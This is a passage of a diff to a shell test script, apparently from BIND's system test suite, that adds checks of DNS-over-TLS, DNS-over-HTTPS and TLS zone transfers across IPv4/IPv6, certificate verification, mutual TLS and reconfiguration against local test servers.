+	grep "^;" "dig.out.ns2.example.test$n" | cat_i
+	ret=1
+fi
+if test $ret != 0 ; then echo_i "failed"; fi
+status=$((status+ret))
+
+if [ -n "$run_san_tests" ]; then
+	n=$((n + 1))
+	echo_i "testing incoming XoT functionality (from the first secondary, no SubjectAltName, failure expected) ($n)"
+	ret=0
+	if retry_quiet 10 wait_for_tls_xfer 2 example3; then
+		ret=1
+	else
+		echo_i "timed out waiting for zone transfer"
+	fi
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status + ret))
+fi
+
+n=$((n + 1))
+echo_i "testing incoming XoT functionality (from the first secondary, StrictTLS via implicit IP) ($n)"
+ret=0
+if retry_quiet 10 wait_for_tls_xfer 2 example4; then
+	retry_quiet 5 test -f "ns2/example4.db" || ret=1
+else
+	echo_i "timed out waiting for zone transfer"
+	grep "^;" "dig.out.ns2.example4.test$n" | cat_i
+	ret=1
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "testing incoming XoT functionality (from the first secondary, StrictTLS via specified IPv4) ($n)"
+ret=0
+if retry_quiet 10 wait_for_tls_xfer 2 example5; then
+	retry_quiet 5 test -f "ns2/example5.db" || ret=1
+else
+	echo_i "timed out waiting for zone transfer"
+	grep "^;" "dig.out.ns2.example5.test$n" | cat_i
+	ret=1
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "testing incoming XoT functionality (from the first secondary, StrictTLS via specified IPv6) ($n)"
+ret=0
+if retry_quiet 10 wait_for_tls_xfer 2 example6; then
+	retry_quiet 5 test -f "ns2/example6.db" || ret=1
+else
+	echo_i "timed out waiting for zone transfer"
+	grep "^;" "dig.out.ns2.example6.test$n" | cat_i
+	ret=1
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "testing incoming XoT functionality (from the first secondary, wrong hostname, failure expected) ($n)"
+ret=0
+if retry_quiet 10 wait_for_tls_xfer 2 example7; then
+	ret=1
+else
+	echo_i "timed out waiting for zone transfer"
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "testing incoming XoT functionality (from the first secondary, expired certificate, failure expected) ($n)"
+ret=0
+if retry_quiet 10 wait_for_tls_xfer 2 example8; then
+	ret=1
+else
+	echo_i "timed out waiting for zone transfer"
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "testing incoming XoT functionality (from the first secondary, MutualTLS) ($n)"
+ret=0
+if retry_quiet 10 wait_for_tls_xfer 2 example9; then
+	retry_quiet 5 test -f "ns2/example9.db" || ret=1
+else
+	echo_i "timed out waiting for zone transfer"
+	grep "^;" "dig.out.ns2.example9.test$n" | cat_i
+	ret=1
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "testing incoming XoT functionality (from the first secondary, MutualTLS, no client cert, failure expected) ($n)"
+ret=0
+if retry_quiet 10 wait_for_tls_xfer 2 example10; then
+	ret=1
+else
+	echo_i "timed out waiting for zone transfer"
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "testing incoming XoT functionality (from the first secondary, MutualTLS, expired client cert, failure expected) ($n)"
+ret=0
+if retry_quiet 10 wait_for_tls_xfer 2 example11; then
+	ret=1
+else
+	echo_i "timed out waiting for zone transfer"
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n+1))
+echo_i "testing incoming XoT functionality (from the second secondary) ($n)"
+ret=0
+if retry_quiet 10 wait_for_tls_xfer 3 example; then
+	digcomp example.axfr.good "dig.out.ns3.example.test$n" || ret=1
+else
+	echo_i "timed out waiting for zone transfer"
+	grep "^;" "dig.out.ns3.example.test$n" | cat_i
+	ret=1
+fi
+if test $ret != 0 ; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "testing incoming XoT functionality (from the second secondary, mismatching ciphers, failure expected) ($n)"
+ret=0
+if retry_quiet 10 wait_for_tls_xfer 3 example2; then
+	ret=1
+else
+	echo_i "timed out waiting for zone transfer"
+fi
+if test $ret != 0 ; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "testing incoming XoT functionality (from the third secondary) ($n)"
 ret=0
-if retry_quiet 10 wait_for_tls_xfer; then
-	grep "^;" "dig.out.ns2.test$n" | cat_i
-	digcomp example.axfr.good "dig.out.ns2.test$n" || ret=1
+if retry_quiet 10 wait_for_tls_xfer 4 example; then
+	digcomp example.axfr.good "dig.out.ns4.example.test$n" || ret=1
 else
 	echo_i "timed out waiting for zone transfer"
+	grep "^;" "dig.out.ns4.example.test$n" | cat_i
 	ret=1
 fi
 if test $ret != 0 ; then echo_i "failed"; fi
@@ -57,7 +256,15 @@ status=$((status+ret))
 n=$((n + 1))
 echo_i "checking DoT query (ephemeral key) ($n)"
 ret=0
-dig_with_tls_opts @10.53.0.1 . SOA > dig.out.test$n
+dig_with_tls_opts @10.53.0.1 . SOA > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoT query via IPv6 (ephemeral key) ($n)"
+ret=0
+dig_with_tls_opts -6 @fd92:7065:b8e:ffff::1 . SOA > dig.out.test$n || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status + ret))
@@ -65,7 +272,15 @@ status=$((status + ret))
 n=$((n + 1))
 echo_i "checking DoT query (static key) ($n)"
 ret=0
-dig_with_tls_opts @10.53.0.2 example SOA > dig.out.test$n
+dig_with_tls_opts @10.53.0.2 example SOA > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoT query via IPv6 (static key) ($n)"
+ret=0
+dig_with_tls_opts -6 @fd92:7065:b8e:ffff::2 example SOA > dig.out.test$n || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status + ret))
@@ -73,23 +288,85 @@ status=$((status + ret))
 n=$((n + 1))
 echo_i "checking DoT XFR ($n)"
 ret=0
-dig_with_tls_opts +comm @10.53.0.1 . AXFR > dig.out.test$n
+dig_with_tls_opts +comm @10.53.0.1 . AXFR > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+# zone transfers are allowed only via TLS
+n=$((n+1))
+echo_i "testing zone transfer over Do53 server functionality (using dig, failure expected) ($n)"
+ret=0
+dig_with_opts example. -b 10.53.0.10 @10.53.0.1 axfr > dig.out.ns1.test$n || ret=1
+grep "; Transfer failed." dig.out.ns1.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+# querying zones is still allowed via UDP/TCP
+n=$((n + 1))
+echo_i "checking Do53 query ($n)"
+ret=0
+dig_with_opts @10.53.0.1 example SOA > dig.out.test$n || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status + ret))
 
+# In this test we are trying to establish a DoT connection over the
+# DoH port. That is intentional, as dig should fail right after
+# handshake has happened and before sending any queries, as XFRs, per
+# the RFC, could happen only over a connection where "dot" ALPN token
+# was negotiated.  over DoH it cannot happen, as only "h2" token could
+# be selected for a DoH connection.
+n=$((n + 1))
+echo_i "checking DoT XFR with wrong ALPN token (h2, failure expected) ($n)"
+ret=0
+# shellcheck disable=SC2086
+"$DIG" +tls $common_dig_options -p "${HTTPSPORT}" +comm @10.53.0.1 . AXFR > dig.out.test$n
+grep "$msg_xfrs_not_allowed" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+# Let's try to issue an HTTP/2 query over TLS port to check if dig
+# will detect ALPN token negotiation problem.
+n=$((n + 1))
+echo_i "checking DoH query when ALPN is expected to fail (dot, failure expected) ($n)"
+ret=0
+# shellcheck disable=SC2086
+"$DIG" +https $common_dig_options -p "${TLSPORT}" "$@" @10.53.0.1 . SOA > dig.out.test$n && ret=1
+grep "ALPN for HTTP/2 failed." dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
 n=$((n + 1))
 echo_i "checking DoH query (POST) ($n)"
 ret=0
-dig_with_https_opts @10.53.0.1 . SOA > dig.out.test$n
+dig_with_https_opts +stat @10.53.0.1 . SOA > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep -F "(HTTPS)" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoH query via IPv6 (POST) ($n)"
+ret=0
+dig_with_https_opts +stat -6 @fd92:7065:b8e:ffff::1 . SOA > dig.out.test$n || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep -F "(HTTPS)" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status + ret))
 
 n=$((n + 1))
 echo_i "checking DoH query (POST, static key) ($n)"
 ret=0
-dig_with_https_opts @10.53.0.2 example SOA > dig.out.test$n
+dig_with_https_opts @10.53.0.2 example SOA > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoH query via IPv6 (POST, static key) ($n)"
+ret=0
+dig_with_https_opts -6 @fd92:7065:b8e:ffff::2 example SOA > dig.out.test$n || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status + ret))
@@ -97,7 +374,15 @@ status=$((status + ret))
 n=$((n + 1))
 echo_i "checking DoH query (POST, nonstandard endpoint) ($n)"
 ret=0
-dig_with_https_opts +https=/alter @10.53.0.1 . SOA > dig.out.test$n
+dig_with_https_opts +https=/alter @10.53.0.1 . SOA > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoH query via IPv6 (POST, nonstandard endpoint) ($n)"
+ret=0
+dig_with_https_opts -6 +https=/alter @fd92:7065:b8e:ffff::1 . SOA > dig.out.test$n || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status + ret))
@@ -105,7 +390,15 @@ status=$((status + ret))
 n=$((n + 1))
 echo_i "checking DoH query (POST, undefined endpoint, failure expected) ($n)"
 ret=0
-dig_with_https_opts +tries=1 +time=1 +https=/fake @10.53.0.1 . SOA > dig.out.test$n
+dig_with_https_opts +tries=1 +time=1 +https=/fake @10.53.0.1 . SOA > dig.out.test$n && ret=1
+grep "communications error" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoH query via IPv6 (POST, undefined endpoint, failure expected) ($n)"
+ret=0
+dig_with_https_opts -6 +tries=1 +time=1 +https=/fake @fd92:7065:b8e:ffff::1 . SOA > dig.out.test$n && ret=1
 grep "communications error" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status + ret))
@@ -113,23 +406,41 @@ status=$((status + ret))
 n=$((n + 1))
 echo_i "checking DoH XFR (POST) (failure expected) ($n)"
 ret=0
-dig_with_https_opts +comm @10.53.0.1 . AXFR > dig.out.test$n
-grep "status: FORMERR" dig.out.test$n > /dev/null || ret=1
+dig_with_https_opts +comm @10.53.0.1 . AXFR > dig.out.test$n || ret=1
+grep "; Transfer failed." dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status + ret))
 
 n=$((n + 1))
 echo_i "checking DoH query (GET) ($n)"
 ret=0
-dig_with_https_opts +https-get @10.53.0.1 . SOA > dig.out.test$n
+dig_with_https_opts +stat +https-get @10.53.0.1 . SOA > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep -F "(HTTPS-GET)" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoH query via IPv6 (GET) ($n)"
+ret=0
+dig_with_https_opts -6 +stat +https-get @fd92:7065:b8e:ffff::1 . SOA > dig.out.test$n || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep -F "(HTTPS-GET)" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status + ret))
 
 n=$((n + 1))
 echo_i "checking DoH query (GET, static key) ($n)"
 ret=0
-dig_with_https_opts +https-get @10.53.0.2 example SOA > dig.out.test$n
+dig_with_https_opts +https-get @10.53.0.2 example SOA > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoH query via IPv6 (GET, static key) ($n)"
+ret=0
+dig_with_https_opts -6 +https-get @fd92:7065:b8e:ffff::2 example SOA > dig.out.test$n || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status + ret))
@@ -137,7 +448,15 @@ status=$((status + ret))
 n=$((n + 1))
 echo_i "checking DoH query (GET, nonstandard endpoint) ($n)"
 ret=0
-dig_with_https_opts +https-get=/alter @10.53.0.1 . SOA > dig.out.test$n
+dig_with_https_opts +https-get=/alter @10.53.0.1 . SOA > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoH query via IPv6 (GET, nonstandard endpoint) ($n)"
+ret=0
+dig_with_https_opts -6 +https-get=/alter @fd92:7065:b8e:ffff::1 . SOA > dig.out.test$n || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status + ret))
@@ -145,7 +464,15 @@ status=$((status + ret))
 n=$((n + 1))
 echo_i "checking DoH query (GET, undefined endpoint, failure expected) ($n)"
 ret=0
-dig_with_https_opts +tries=1 +time=1 +https-get=/fake @10.53.0.1 . SOA > dig.out.test$n
+dig_with_https_opts +tries=1 +time=1 +https-get=/fake @10.53.0.1 . SOA > dig.out.test$n && ret=1
+grep "communications error" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoH query via IPv6 (GET, undefined endpoint, failure expected) ($n)"
+ret=0
+dig_with_https_opts -6 +tries=1 +time=1 +https-get=/fake @fd92:7065:b8e:ffff::1 . SOA > dig.out.test$n && ret=1
 grep "communications error" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status + ret))
@@ -153,34 +480,410 @@ status=$((status + ret))
 n=$((n + 1))
 echo_i "checking DoH XFR (GET) (failure expected) ($n)"
 ret=0
-dig_with_https_opts +https-get +comm @10.53.0.1 . AXFR > dig.out.test$n
-grep "status: FORMERR" dig.out.test$n > /dev/null || ret=1
+dig_with_https_opts +https-get +comm @10.53.0.1 . AXFR > dig.out.test$n || ret=1
+grep "; Transfer failed." dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status + ret))
 
 n=$((n + 1))
 echo_i "checking unencrypted DoH query (POST) ($n)"
 ret=0
-dig_with_http_opts @10.53.0.1 . SOA > dig.out.test$n
+dig_with_http_opts +stat @10.53.0.1 . SOA > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep -F "(HTTP)" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking unencrypted DoH query via IPv6 (POST) ($n)"
+ret=0
+dig_with_http_opts -6 +stat @fd92:7065:b8e:ffff::1 . SOA > dig.out.test$n || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep -F "(HTTP)" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status + ret))
 
 n=$((n + 1))
 echo_i "checking unencrypted DoH query (GET) ($n)"
 ret=0
-dig_with_http_opts +http-plain-get @10.53.0.1 . SOA > dig.out.test$n
+dig_with_http_opts +stat +http-plain-get @10.53.0.1 . SOA > dig.out.test$n || ret=1
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep -F "(HTTP-GET)" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking unencrypted DoH query via IPv6 (GET) ($n)"
+ret=0
+dig_with_http_opts -6 +stat +http-plain-get @fd92:7065:b8e:ffff::1 . SOA > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep -F "(HTTP-GET)" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status + ret))
 
 n=$((n + 1))
 echo_i "checking unencrypted DoH XFR (failure expected) ($n)"
 ret=0
-dig_with_http_opts +comm @10.53.0.1 . AXFR > dig.out.test$n
-grep "status: FORMERR" dig.out.test$n > /dev/null || ret=1
+dig_with_http_opts +comm @10.53.0.1 . AXFR > dig.out.test$n || ret=1
+grep "; Transfer failed." dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoH query for a large answer (POST) ($n)"
+ret=0
+dig_with_https_opts @10.53.0.1 biganswer.example A > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "ANSWER: 2500" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoH query via IPv6 for a large answer (POST) ($n)"
+ret=0
+dig_with_https_opts -6 @fd92:7065:b8e:ffff::1 biganswer.example A > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "ANSWER: 2500" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoH query for a large answer (GET) ($n)"
+ret=0
+dig_with_https_opts +https-get @10.53.0.1 biganswer.example A > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "ANSWER: 2500" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoH query via IPv6 for a large answer (GET) ($n)"
+ret=0
+dig_with_https_opts -6 +https-get @fd92:7065:b8e:ffff::1 biganswer.example A > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "ANSWER: 2500" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking unencrypted DoH query for a large answer (POST) ($n)"
+ret=0
+dig_with_http_opts @10.53.0.1 biganswer.example A > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "ANSWER: 2500" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking unencrypted DoH query via IPv6 for a large answer (POST) ($n)"
+ret=0
+dig_with_http_opts -6 @fd92:7065:b8e:ffff::1 biganswer.example A > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "ANSWER: 2500" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking unencrypted DoH query for a large answer (GET) ($n)"
+ret=0
+dig_with_http_opts +http-plain-get @10.53.0.1 biganswer.example A > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "ANSWER: 2500" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking unencrypted DoH query via IPv6 for a large answer (GET) ($n)"
+ret=0
+dig_with_http_opts -6 +http-plain-get @fd92:7065:b8e:ffff::1 biganswer.example A > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "ANSWER: 2500" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+wait_for_tlsctx_update_ns4 () {
+	grep "updating TLS context on 10.53.0.4#${HTTPSPORT}" ns4/named.run > /dev/null || return 1
+	grep "updating TLS context on 10.53.0.4#${TLSPORT}" ns4/named.run > /dev/null || return 1
+	return 0
+}
+
+n=$((n + 1))
+echo_i "doing rndc reconfig to see that queries keep being served after that ($n)"
+ret=0
+rndc_reconfig ns4 10.53.0.4 60
+retry_quiet 15 wait_for_tlsctx_update_ns4 || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoT query after a reconfiguration ($n)"
+ret=0
+dig_with_tls_opts @10.53.0.4 example SOA > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoH query (POST) after a reconfiguration ($n)"
+ret=0
+dig_with_https_opts @10.53.0.4 example SOA > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "doing rndc reconfig to see if HTTP endpoints have gotten reconfigured ($n)"
+ret=0
+# 'sed -i ...' is not portable. Sigh...
+sed 's/\/dns-query/\/dns-query-test/g' "ns4/named.conf" >  "ns4/named.conf.sed"
+mv -f "ns4/named.conf.sed" "ns4/named.conf"
+rndc_reconfig ns4 10.53.0.4 60
+retry_quiet 15 wait_for_tlsctx_update_ns4 || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoH query (POST) to verify HTTP endpoint reconfiguration ($n)"
+ret=0
+dig_with_https_opts +https='/dns-query-test' @10.53.0.4 example SOA > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoT query (with TLS verification enabled) ($n)"
+ret=0
+dig_with_tls_opts +tls-ca="$ca_file" +tls-hostname="srv01.crt01.example.com" @10.53.0.1 . SOA > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoH query (with TLS verification enabled, self-signed cert, failure expected) ($n)"
+ret=0
+dig_with_https_opts +tls-ca="$ca_file" +tls-hostname="srv01.crt01.example.com" @10.53.0.1 . SOA > dig.out.test$n || ret=1
+grep "$msg_peer_verification_failed" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoT query (with TLS verification using the system's CA store, failure expected) ($n)"
+ret=0
+dig_with_tls_opts +tls-ca +tls-hostname="srv01.crt01.example.com" @10.53.0.1 . SOA > dig.out.test$n || ret=1
+grep "$msg_peer_verification_failed" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoH query (with TLS verification using the system's CA store, failure expected) ($n)"
+ret=0
+dig_with_https_opts +tls-ca +tls-hostname="srv01.crt01.example.com" @10.53.0.1 . SOA > dig.out.test$n || ret=1
+grep "$msg_peer_verification_failed" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+# the primary server's certificate contains the IP address in the
+# SubjectAltName section
+n=$((n + 1))
+echo_i "checking DoT query (with TLS verification, hostname is not specified, IP address is used instead) ($n)"
+ret=0
+dig_with_tls_opts +tls-ca="$ca_file" @10.53.0.1 . SOA > dig.out.test$n || ret=1
+grep "$msg_peer_verification_failed" dig.out.test$n > /dev/null && ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+if [ -n "$run_san_tests" ]; then
+	# SubjectAltName is required for DoT as according to RFC 8310, Subject
+	# field MUST NOT be inspected when verifying hostname for DoT.
+	n=$((n + 1))
+	echo_i "checking DoT query (with TLS verification enabled when SubjectAltName is not set, failure expected) ($n)"
+	ret=0
+	dig_with_tls_opts +tls-ca="$ca_file" +tls-hostname="srv01.crt02-no-san.example.com" @10.53.0.1 . SOA > dig.out.test$n || ret=1
+	grep "$msg_peer_verification_failed" dig.out.test$n > /dev/null || ret=1
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status + ret))
+
+	n=$((n + 1))
+	echo_i "checking DoT XFR over a TLS port where SubjectAltName is not set (failure expected) ($n)"
+	ret=0
+	# shellcheck disable=SC2086
+	dig_with_tls_opts +tls-ca="$ca_file" +tls-hostname="srv01.crt02-no-san.example.com" -p "${EXTRAPORT2}" +comm @10.53.0.1 . AXFR > dig.out.test$n || ret=1
+	grep "$msg_peer_verification_failed" dig.out.test$n > /dev/null || ret=1
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status + ret))
+fi
+
+# SubjectAltName is not required for HTTPS. Having a properly set
+# Common Name in the Subject field is enough.
+n=$((n + 1))
+echo_i "checking DoH query (when SubjectAltName is not set) ($n)"
+ret=0
+dig_with_https_opts +tls-ca="$ca_file" +tls-hostname="srv01.crt02-no-san.example.com" -p "${EXTRAPORT3}" +comm @10.53.0.1 . SOA > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoT query (expired certificate, Opportunistic TLS) ($n)"
+ret=0
+dig_with_tls_opts +tls -p "${EXTRAPORT4}" +comm @10.53.0.1 . SOA > dig.out.test$n || ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoT query (expired certificate, Strict TLS, failure expected) ($n)"
+ret=0
+dig_with_tls_opts +tls-ca="$ca_file" -p "${EXTRAPORT4}" +comm @10.53.0.1 . SOA > dig.out.test$n || ret=1
+grep "$msg_peer_verification_failed" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status + ret))
 
+n=$((n+1))
+echo_i "testing XoT server functionality (using dig, client certificate required, failure expected) ($n)"
+ret=0
+dig_with_tls_opts +tls-ca="$ca_file" -p "${EXTRAPORT5}" example8. -b 10.53.0.10 @10.53.0.1 axfr > dig.out.ns1.test$n || ret=1
+grep "; Transfer failed." dig.out.ns1.test$n > /dev/null || ret=1
+if test $ret != 0 ; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n+1))
+echo_i "testing XoT server functionality (using dig, client certificate used) ($n)"
+ret=0
+dig_with_tls_opts +tls-ca="$ca_file" +tls-certfile="./CA/certs/srv01.client01.example.com.pem" +tls-keyfile="./CA/certs/srv01.client01.example.com.key" -p "${EXTRAPORT5}" example8. -b 10.53.0.10 @10.53.0.1 axfr > dig.out.ns1.test$n || ret=1
+digcomp dig.out.ns1.test$n example8.axfr.good > /dev/null || ret=1
+if test $ret != 0 ; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoH query (client certificate required, failure expected) ($n)"
+ret=0
+dig_with_https_opts +tls-ca="$ca_file" -p "${EXTRAPORT6}" +comm @10.53.0.1 . SOA > dig.out.test$n && ret=1
+grep "status: NOERROR" dig.out.test$n > /dev/null && ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking DoH query (client certificate used) ($n)"
+ret=0
+# shellcheck disable=SC2086
